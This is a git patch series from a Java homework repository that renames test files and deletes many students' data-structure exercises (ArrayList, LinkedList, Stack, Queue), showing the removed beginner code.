+		int[] nums = {3, 123, 78, 90};
+		System.out.println(largestNumber(nums));
+	}
+	
+	public static String largestNumber(int[] nums) {
+
+        String[] array = new String[nums.length];
+        for (int i = 0; i < nums.length; i++) {
+            array[i] = String.valueOf(nums[i]);
+        }
+
+        String temp;
+        for (int i = 0; i < array.length; i++) {
+            for (int j = i + 1; j < array.length; j++) {
+                if ((array[i] + array[j]).compareTo(array[j] + array[i]) < 0) {
+                    temp = array[i];
+                    array[i] = array[j];
+                    array[j] =temp;
+                }
+            }
+        }
+        
+        if (array[0].equals("0")) {
+            return "0";
+        } else {
+            return String.join("", array);
+        }
+    }
+}
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
similarity index 97%
rename from group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java
rename to group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
index 61562d2a39..791157d0d6 100644
--- a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java
+++ b/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
@@ -1,9 +1,10 @@
 package test.com.coding.basic;
 
-import com.coding.basic.ArrayList;
 import org.junit.Assert;
 import org.junit.Test;
 
+import com.coding.basic.array.ArrayList;
+
 public class TestArrayList {
 
     @Test
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestBinaryTreeNode.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestBinaryTreeNode.java
rename to group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
similarity index 97%
rename from group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java
rename to group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
index 39b41c1317..3a4a79ba0d 100644
--- a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java
+++ b/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
@@ -1,11 +1,11 @@
 package test.com.coding.basic;
 
-import static org.junit.Assert.*;
+import static org.junit.Assert.fail;
 
 import org.junit.Assert;
 import org.junit.Test;
 
-import com.coding.basic.LinkedList;
+import com.coding.basic.linklist.LinkedList;
 
 public class TestLinkedList {
 	

From 8cafd2c89ccb79fc0b2ec8cabe7881a69ac74584 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 28 Mar 2017 10:12:58 +0800
Subject: [PATCH 018/262] gitignore

---
 .gitignore                                    |  22 ++
 .../src/com/skomefen/list/ArrayList.java      |  83 -----
 .../com/skomefen/list/ArrayListIterator.java  |  25 --
 .../src/com/skomefen/list/BinaryTreeNode.java |  32 --
 .../src/com/skomefen/list/Iterator.java       |   7 -
 .../src/com/skomefen/list/LinkedList.java     | 252 --------------
 .../com/skomefen/list/LinkedListiterator.java |  25 --
 .../day3-11/src/com/skomefen/list/List.java   |   9 -
 .../day3-11/src/com/skomefen/list/Queue.java  |  26 --
 .../day3-11/src/com/skomefen/list/Stack.java  |  28 --
 .../day3-11/src/com/skomefen/test/test.java   | 109 ------
 .../src/com/coderising/array/ArrayUtil.java   | 117 -------
 .../com/coderising/litestruts/StrutsTest.java |  54 ---
 .../src/com/coding/datastructs/ArrayList.java |  98 ------
 .../src/com/coding/datastructs/Iterator.java  |   7 -
 .../com/coding/datastructs/LinkedList.java    | 229 ------------
 .../src/com/coding/datastructs/List.java      |   9 -
 .../com/coding/datastructs/MyIterator.java    |  35 --
 .../src/com/coding/datastructs/Queue.java     |  30 --
 .../src/com/coding/datastructs/Stack.java     |  33 --
 .../src/com/coding/test/ArrayListTest.java    |  32 --
 .../src/com/coding/test/LinkedListTest.java   |  28 --
 .../src/com/coding/test/QueueTest.java        |  22 --
 .../src/com/coding/test/StackTest.java        |  25 --
 .../com/coding/datastructs/ArrayUtil.java"    | 141 --------
 .../src/com/coding/test/ArrayUtilTest.java"   |  86 -----
 .../WebContent/WEB-INF/etc/struts.xml"        |  11 -
 .../coderising/litestruts/LoginAction.java"   |  35 --
 .../com/coderising/litestruts/Struts.java"    | 122 -------
 .../coderising/litestruts/StrutsTest.java"    |  43 ---
 .../src/com/coderising/litestruts/Test.java"  |  94 -----
 .../src/com/coderising/litestruts/View.java"  |  23 --
 .../src/com/coderising/array/ArrayUtil.java   |  96 -----
 .../coderising/download/DownloadThread.java   |  20 --
 .../coderising/download/FileDownloader.java   |  73 ----
 .../download/FileDownloaderTest.java          |  59 ----
 .../coderising/download/api/Connection.java   |  23 --
 .../download/api/ConnectionException.java     |   5 -
 .../download/api/ConnectionManager.java       |  10 -
 .../download/api/DownloadListener.java        |   5 -
 .../download/impl/ConnectionImpl.java         |  27 --
 .../download/impl/ConnectionManagerImpl.java  |  15 -
 .../coderising/litestruts/LoginAction.java    |  39 ---
 .../src/com/coderising/litestruts/Struts.java |  37 --
 .../com/coderising/litestruts/StrutsTest.java |  43 ---
 .../src/com/coderising/litestruts/View.java   |  23 --
 .../src/com/coderising/litestruts/struts.xml  |  11 -
 .../src/com/coding/basic/ArrayList.java       |  32 --
 .../src/com/coding/basic/BinaryTreeNode.java  |  32 --
 .../src/com/coding/basic/Iterator.java        |   7 -
 .../src/com/coding/basic/LinkedList.java      | 122 -------
 .../565832157/src/com/coding/basic/List.java  |   9 -
 .../565832157/src/com/coding/basic/Queue.java |  19 -
 .../565832157/src/com/coding/basic/Stack.java |  22 --
 group23/601689050/ArrayList.java              |  58 ----
 group23/601689050/BinaryTreeNode.java         |  50 ---
 group23/601689050/Iterator.java               |   7 -
 group23/601689050/LinkedList.java             | 117 -------
 group23/601689050/List.java                   |  10 -
 group23/601689050/Queue.java                  |  45 ---
 group23/601689050/Stack.java                  |  39 ---
 group23/609041842/.classpath                  |  10 -
 group23/609041842/.gitignore                  |   1 -
 group23/609041842/.project                    |  17 -
 .../.settings/org.eclipse.jdt.ui.prefs        |  60 ----
 .../src/com/homework01/ArrayList.java         |  49 ---
 .../src/com/homework01/LinkedList.java        |  87 -----
 .../609041842/src/com/homework01/Queue.java   |  17 -
 .../609041842/src/com/homework01/Stack.java   |  30 --
 group23/609041842/src/test.java               |   9 -
 .../com/basic/datastructure/ArrayList.java    |  64 ----
 .../com/basic/datastructure/LinkedList.java   |  98 ------
 .../com/basic/datastructure/List.java         |   9 -
 .../com/basic/datastructure/Queue.java        |  23 --
 .../com/basic/datastructure/Stack.java        |  29 --
 .../datastructure/TestDataStructure.java      |  27 --
 .../basic/week2/datastructure/ArrayTest.java  |  50 ---
 .../basic/week2/datastructure/ArrayUtil.java  | 228 ------------
 group23/729693763/First_Homework1/.classpath  |   7 -
 group23/729693763/First_Homework1/.project    |  17 -
 .../org.eclipse.core.resources.prefs          |   2 -
 .../.settings/org.eclipse.jdt.core.prefs      |  11 -
 group23/729693763/First_Homework1/readme.md   |   2 -
 .../src/com/danny/hw1/ArrayList.java          | 117 -------
 .../src/com/danny/hw1/BinaryTreeNode.java     | 101 ------
 .../src/com/danny/hw1/Iterator.java           |   6 -
 .../src/com/danny/hw1/LinkedList.java         | 296 ----------------
 .../src/com/danny/hw1/List.java               |  10 -
 .../src/com/danny/hw1/Queue.java              |  25 --
 .../src/com/danny/hw1/Stack.java              |  40 ---
 .../src/com/danny/hw1/test/ArrayListTest.java |  80 -----
 .../danny/hw1/test/BinaryTreeNodeTest.java    |  48 ---
 .../com/danny/hw1/test/LinkedListTest.java    |  86 -----
 .../src/com/danny/hw1/test/QueueTest.java     |  47 ---
 .../src/com/danny/hw1/test/StackTest.java     |  54 ---
 .../src/com/danny/hw1/test/SuitTest.java      |  17 -
 group23/729693763/Second_Homework2/.classpath |   9 -
 group23/729693763/Second_Homework2/.project   |  17 -
 .../.settings/org.eclipse.jdt.core.prefs      |  11 -
 .../src/com/danny/hw2/ArrayUtil.java          | 221 ------------
 .../src/com/danny/hw2/LoginAction.java        |  39 ---
 .../src/com/danny/hw2/Struts.java             | 163 ---------
 .../src/com/danny/hw2/View.java               |  23 --
 .../src/com/danny/hw2/test/ArrayUtilTest.java |  95 -----
 .../src/com/danny/hw2/test/StrutsTest.java    |  46 ---
 .../Second_Homework2/xmlFolder/struts.xml     |  11 -
 .../729693763/homework1_demo/ArrayList.java   |  32 --
 .../homework1_demo/BinaryTreeNode.java        |  32 --
 .../729693763/homework1_demo/Iterator.java    |   7 -
 .../729693763/homework1_demo/LinkedList.java  | 124 -------
 group23/729693763/homework1_demo/List.java    |   9 -
 group23/729693763/homework1_demo/Queue.java   |  19 -
 group23/729693763/homework1_demo/Stack.java   |  22 --
 group23/769232552/coding/pom.xml              |  47 ---
 .../src/main/java/code01/ArrayList.java       | 138 --------
 .../src/main/java/code01/BinaryTree.java      |  97 ------
 .../coding/src/main/java/code01/Iterator.java |   7 -
 .../src/main/java/code01/LinkedList.java      | 327 ------------------
 .../coding/src/main/java/code01/List.java     |   9 -
 .../coding/src/main/java/code01/Queue.java    |  24 --
 .../coding/src/main/java/code01/Stack.java    |  31 --
 .../src/main/java/code02/ArrayUtil.java       | 257 --------------
 .../java/code02/litestruts/ActionConfig.java  |  28 --
 .../java/code02/litestruts/Configuration.java |  64 ----
 .../java/code02/litestruts/LoginAction.java   |  39 ---
 .../code02/litestruts/ReflectionUtil.java     | 119 -------
 .../main/java/code02/litestruts/Struts.java   |  76 ----
 .../src/main/java/code02/litestruts/View.java |  23 --
 .../src/main/java/code03/DownloadThread.java  |  47 ---
 .../src/main/java/code03/FileDownloader.java  | 109 ------
 .../src/main/java/code03/api/Connection.java  |  23 --
 .../java/code03/api/ConnectionException.java  |   9 -
 .../java/code03/api/ConnectionManager.java    |  10 -
 .../java/code03/api/DownloadListener.java     |   5 -
 .../main/java/code03/impl/ConnectionImpl.java | 107 ------
 .../code03/impl/ConnectionManagerImpl.java    |  36 --
 .../coding/src/main/resources/struts.xml      |  11 -
 .../src/test/java/code01/ArrayListTest.java   |  67 ----
 .../src/test/java/code01/BinaryTreeTest.java  |  27 --
 .../src/test/java/code01/LinkedListTest.java  | 174 ----------
 .../src/test/java/code01/QueueTest.java       |  24 --
 .../src/test/java/code01/StackTest.java       |  27 --
 .../src/test/java/code02/ArrayUtilTest.java   |  73 ----
 .../java/code02/litestruts/StrutsTest.java    |  43 ---
 .../test/java/code03/FileDownloaderTest.java  |  59 ----
 group23/810181789/.classpath                  |   6 -
 group23/810181789/.gitignore                  |   1 -
 group23/810181789/.project                    |  17 -
 .../810181789/src/firstday/ArrayListt.java    |  86 -----
 group23/810181789/src/firstday/LinkListt.java | 167 ---------
 group23/810181789/src/firstday/Queue.java     |  43 ---
 group23/810181789/src/firstday/Stack.java     |  43 ---
 152 files changed, 22 insertions(+), 8079 deletions(-)
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
 delete mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
 delete mode 100644 group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
 delete mode 100644 group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
 delete mode 100644 group23/1246614258/src/com/coding/datastructs/ArrayList.java
 delete mode 100644 group23/1246614258/src/com/coding/datastructs/Iterator.java
 delete mode 100644 group23/1246614258/src/com/coding/datastructs/LinkedList.java
 delete mode 100644 group23/1246614258/src/com/coding/datastructs/List.java
 delete mode 100644 group23/1246614258/src/com/coding/datastructs/MyIterator.java
 delete mode 100644 group23/1246614258/src/com/coding/datastructs/Queue.java
 delete mode 100644 group23/1246614258/src/com/coding/datastructs/Stack.java
 delete mode 100644 group23/1246614258/src/com/coding/test/ArrayListTest.java
 delete mode 100644 group23/1246614258/src/com/coding/test/LinkedListTest.java
 delete mode 100644 group23/1246614258/src/com/coding/test/QueueTest.java
 delete mode 100644 group23/1246614258/src/com/coding/test/StackTest.java
 delete mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
 delete mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
 delete mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/WebContent/WEB-INF/etc/struts.xml"
 delete mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
 delete mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
 delete mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
 delete mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
 delete mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
 delete mode 100644 group23/565832157/src/com/coderising/array/ArrayUtil.java
 delete mode 100644 group23/565832157/src/com/coderising/download/DownloadThread.java
 delete mode 100644 group23/565832157/src/com/coderising/download/FileDownloader.java
 delete mode 100644 group23/565832157/src/com/coderising/download/FileDownloaderTest.java
 delete mode 100644 group23/565832157/src/com/coderising/download/api/Connection.java
 delete mode 100644 group23/565832157/src/com/coderising/download/api/ConnectionException.java
 delete mode 100644 group23/565832157/src/com/coderising/download/api/ConnectionManager.java
 delete mode 100644 group23/565832157/src/com/coderising/download/api/DownloadListener.java
 delete mode 100644 group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
 delete mode 100644 group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/565832157/src/com/coderising/litestruts/LoginAction.java
 delete mode 100644 group23/565832157/src/com/coderising/litestruts/Struts.java
 delete mode 100644 group23/565832157/src/com/coderising/litestruts/StrutsTest.java
 delete mode 100644 group23/565832157/src/com/coderising/litestruts/View.java
 delete mode 100644 group23/565832157/src/com/coderising/litestruts/struts.xml
 delete mode 100644 group23/565832157/src/com/coding/basic/ArrayList.java
 delete mode 100644 group23/565832157/src/com/coding/basic/BinaryTreeNode.java
 delete mode 100644 group23/565832157/src/com/coding/basic/Iterator.java
 delete mode 100644 group23/565832157/src/com/coding/basic/LinkedList.java
 delete mode 100644 group23/565832157/src/com/coding/basic/List.java
 delete mode 100644 group23/565832157/src/com/coding/basic/Queue.java
 delete mode 100644 group23/565832157/src/com/coding/basic/Stack.java
 delete mode 100644 group23/601689050/ArrayList.java
 delete mode 100644 group23/601689050/BinaryTreeNode.java
 delete mode 100644 group23/601689050/Iterator.java
 delete mode 100644 group23/601689050/LinkedList.java
 delete mode 100644 group23/601689050/List.java
 delete mode 100644 group23/601689050/Queue.java
 delete mode 100644 group23/601689050/Stack.java
 delete mode 100644 group23/609041842/.classpath
 delete mode 100644 group23/609041842/.gitignore
 delete mode 100644 group23/609041842/.project
 delete mode 100644 group23/609041842/.settings/org.eclipse.jdt.ui.prefs
 delete mode 100644 group23/609041842/src/com/homework01/ArrayList.java
 delete mode 100644 group23/609041842/src/com/homework01/LinkedList.java
 delete mode 100644 group23/609041842/src/com/homework01/Queue.java
 delete mode 100644 group23/609041842/src/com/homework01/Stack.java
 delete mode 100644 group23/609041842/src/test.java
 delete mode 100644 group23/632678665/com/basic/datastructure/ArrayList.java
 delete mode 100644 group23/632678665/com/basic/datastructure/LinkedList.java
 delete mode 100644 group23/632678665/com/basic/datastructure/List.java
 delete mode 100644 group23/632678665/com/basic/datastructure/Queue.java
 delete mode 100644 group23/632678665/com/basic/datastructure/Stack.java
 delete mode 100644 group23/632678665/com/basic/datastructure/TestDataStructure.java
 delete mode 100644 group23/632678665/com/basic/week2/datastructure/ArrayTest.java
 delete mode 100644 group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
 delete mode 100644 group23/729693763/First_Homework1/.classpath
 delete mode 100644 group23/729693763/First_Homework1/.project
 delete mode 100644 group23/729693763/First_Homework1/.settings/org.eclipse.core.resources.prefs
 delete mode 100644 group23/729693763/First_Homework1/.settings/org.eclipse.jdt.core.prefs
 delete mode 100644 group23/729693763/First_Homework1/readme.md
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/List.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
 delete mode 100644 group23/729693763/Second_Homework2/.classpath
 delete mode 100644 group23/729693763/Second_Homework2/.project
 delete mode 100644 group23/729693763/Second_Homework2/.settings/org.eclipse.jdt.core.prefs
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
 delete mode 100644 group23/729693763/Second_Homework2/xmlFolder/struts.xml
 delete mode 100644 group23/729693763/homework1_demo/ArrayList.java
 delete mode 100644 group23/729693763/homework1_demo/BinaryTreeNode.java
 delete mode 100644 group23/729693763/homework1_demo/Iterator.java
 delete mode 100644 group23/729693763/homework1_demo/LinkedList.java
 delete mode 100644 group23/729693763/homework1_demo/List.java
 delete mode 100644 group23/729693763/homework1_demo/Queue.java
 delete mode 100644 group23/729693763/homework1_demo/Stack.java
 delete mode 100644 group23/769232552/coding/pom.xml
 delete mode 100644 group23/769232552/coding/src/main/java/code01/ArrayList.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/BinaryTree.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/Iterator.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/LinkedList.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/List.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/Queue.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/Stack.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/ArrayUtil.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/View.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/DownloadThread.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/FileDownloader.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/api/Connection.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/769232552/coding/src/main/resources/struts.xml
 delete mode 100644 group23/769232552/coding/src/test/java/code01/ArrayListTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code01/LinkedListTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code01/QueueTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code01/StackTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
 delete mode 100644 group23/810181789/.classpath
 delete mode 100644 group23/810181789/.gitignore
 delete mode 100644 group23/810181789/.project
 delete mode 100644 group23/810181789/src/firstday/ArrayListt.java
 delete mode 100644 group23/810181789/src/firstday/LinkListt.java
 delete mode 100644 group23/810181789/src/firstday/Queue.java
 delete mode 100644 group23/810181789/src/firstday/Stack.java

diff --git a/.gitignore b/.gitignore
index 825a471a70..95026b5340 100644
--- a/.gitignore
+++ b/.gitignore
@@ -287,3 +287,25 @@ target
 liuxin/.DS_Store
 liuxin/src/.DS_Store
 
+
+group23/729693763/*
+
+group23/1072760797-skomefen/*
+
+group23/609041842/*
+
+group23/810181789/*
+
+group23/1246614258/*
+
+group23/565832157/*
+
+group23/601689050/*
+
+group23/632678665/*
+
+group23/769232552/*
+
+
+
+
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
deleted file mode 100644
index 2567132d2a..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
+++ /dev/null
@@ -1,83 +0,0 @@
-package com.skomefen.list;
-
-public class ArrayList implements List {
-
-	
-	private int size = 0;
-		
-	private Object[] elementData = new Object[100];
-	
-	private Iterator iterator ;
-	
-	public void add(Object o){
-		
-		if(size<elementData.length){
-			elementData[size]=o;
-			size++;
-			return;
-		}
-		Object[] dest = new Object[size+100];
-		insertofArray(size, o, dest);
-		size++;
-	}
-	public void add(int index, Object o){
-		
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		
-		if(size<elementData.length){
-			Object[] dest = new Object[elementData.length];
-			insertofArray(index, o, dest);
-			size++;
-			return;
-		}
-		Object[] dest = new Object[size+100];
-		insertofArray(index, o, dest);
-		size++;
-	}
-	private void insertofArray(int index, Object o, Object[] dest) {
-		dest[index]=o;
-		System.arraycopy(elementData, 0, dest, 0, index);
-		if((elementData.length-index)!=0){	
-			System.arraycopy(elementData, index, dest, index+1, elementData.length-1-index);
-			if(elementData[elementData.length-1]!=null){
-				dest[elementData.length]=elementData[elementData.length-1];
-			}
-		}
-		
-		elementData = dest;
-	}
-	
-	public Object get(int index){
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		
-		return elementData[index];
-		
-	}
-	
-	public Object remove(int index){
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}	
-		Object revalue = elementData[index];
-		Object[] dest = new Object[elementData.length];
-		System.arraycopy(elementData, 0, dest, 0, index);
-		System.arraycopy(elementData, index+1, dest, index, elementData.length-1-index);
-		elementData = dest;
-		size--;
-		return revalue;
-	}
-	
-	public int size(){
-		return size;
-	}
-	
-	public Iterator iterator(){
-		iterator = new ArrayListIterator(this);
-		return iterator;
-	}
-	
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
deleted file mode 100644
index 345d620c0e..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.skomefen.list;
-
-public class ArrayListIterator implements Iterator {
-	private ArrayList array = null;
-	private int index = 0;
-	public ArrayListIterator(ArrayList array) {
-		this.array = array;
-	}
-	public boolean hasNext() {
-		if(array==null){
-			return false;
-		}
-		if(index<array.size()){
-			return true;
-		}
-		return false;
-	}
-
-	public Object next() {
-	
-		return array.get(index++);
-		
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
deleted file mode 100644
index e05e0bdef0..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.skomefen.list;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
deleted file mode 100644
index cec536e3b5..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.skomefen.list;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
deleted file mode 100644
index f54d896e20..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
+++ /dev/null
@@ -1,252 +0,0 @@
-package com.skomefen.list;
-
-
-public class LinkedList implements List {
-	private int size = 0;
-	private Node head;
-	private Node node;
-	private int point = 0;
-	private LinkedListiterator iterator;
-
-	public void add(Object o){
-		insertoflist(size, o);
-	}
-	
-	public void add(int index , Object o){
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		insertoflist(index, o);
-		
-		
-	}
-	public Object get(int index){
-		if(index>=size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		if(head==null){
-			return null;
-		}
-		if(index==point){
-			return node.data;
-		}
-		this.point=0;
-		node = head;
-		while(index>=this.point){
-			
-			if(index==point){
-				return node.data;
-			}
-			point++;
-			node = node.next;
-		}
-		return null;
-	}
-	public Object remove(int index){
-		if(index>=size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		size--;
-		if(index==(this.point+1)){
-			Object o =node.next.data;
-			node.next = node.next.next;
-			return o;
-		}
-		this.point = 0;
-		if(index==0){
-			head = head.next;
-			Object o =head.data;
-			node = head;
-			return o;
-		}
-		
-		Object o = null;
-		while(index<=(this.point+1)){
-			if(index==(this.point+1)){
-				o =node.next.data;
-				node.next = node.next.next;
-				
-			}
-			point++;
-			node = node.next;
-		}
-		return o;
-	}
-	
-	public int size(){
-		
-		return size;
-	}
-	
-	public void addFirst(Object o){
-		add(0,o);
-	}
-	public void addLast(Object o){
-		add(size,o);
-	}
-	public Object removeFirst(){
-		if(head==null){
-			return null;
-		}
-		remove(0);
-		return null;
-	}
-	public Object removeLast(){
-		if(head==null){
-			return null;
-		}
-		remove(size-1);
-		return null;
-	}
-	public Iterator iterator(){
-		iterator = new LinkedListiterator(this);
-		return iterator;	
-	}
-	
-	
-	private static  class Node{
-		private Object data;
-		private Node next;
-		
-		
-	}
-	
-	private void insertoflist(int index,Object o){
-		
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		
-		if(head==null){
-			head = new Node();
-			head.data=o;
-			head.next=new Node();
-			size++;
-			node = head;
-			this.point = 0;
-			return;
-		}
-		if(index==(this.point+1)){
-			pointlast(index, o);
-			return;
-		}
-		//head不等于空，先从head顺序往下找
-		this.point = 0;
-		if(index == this.point){
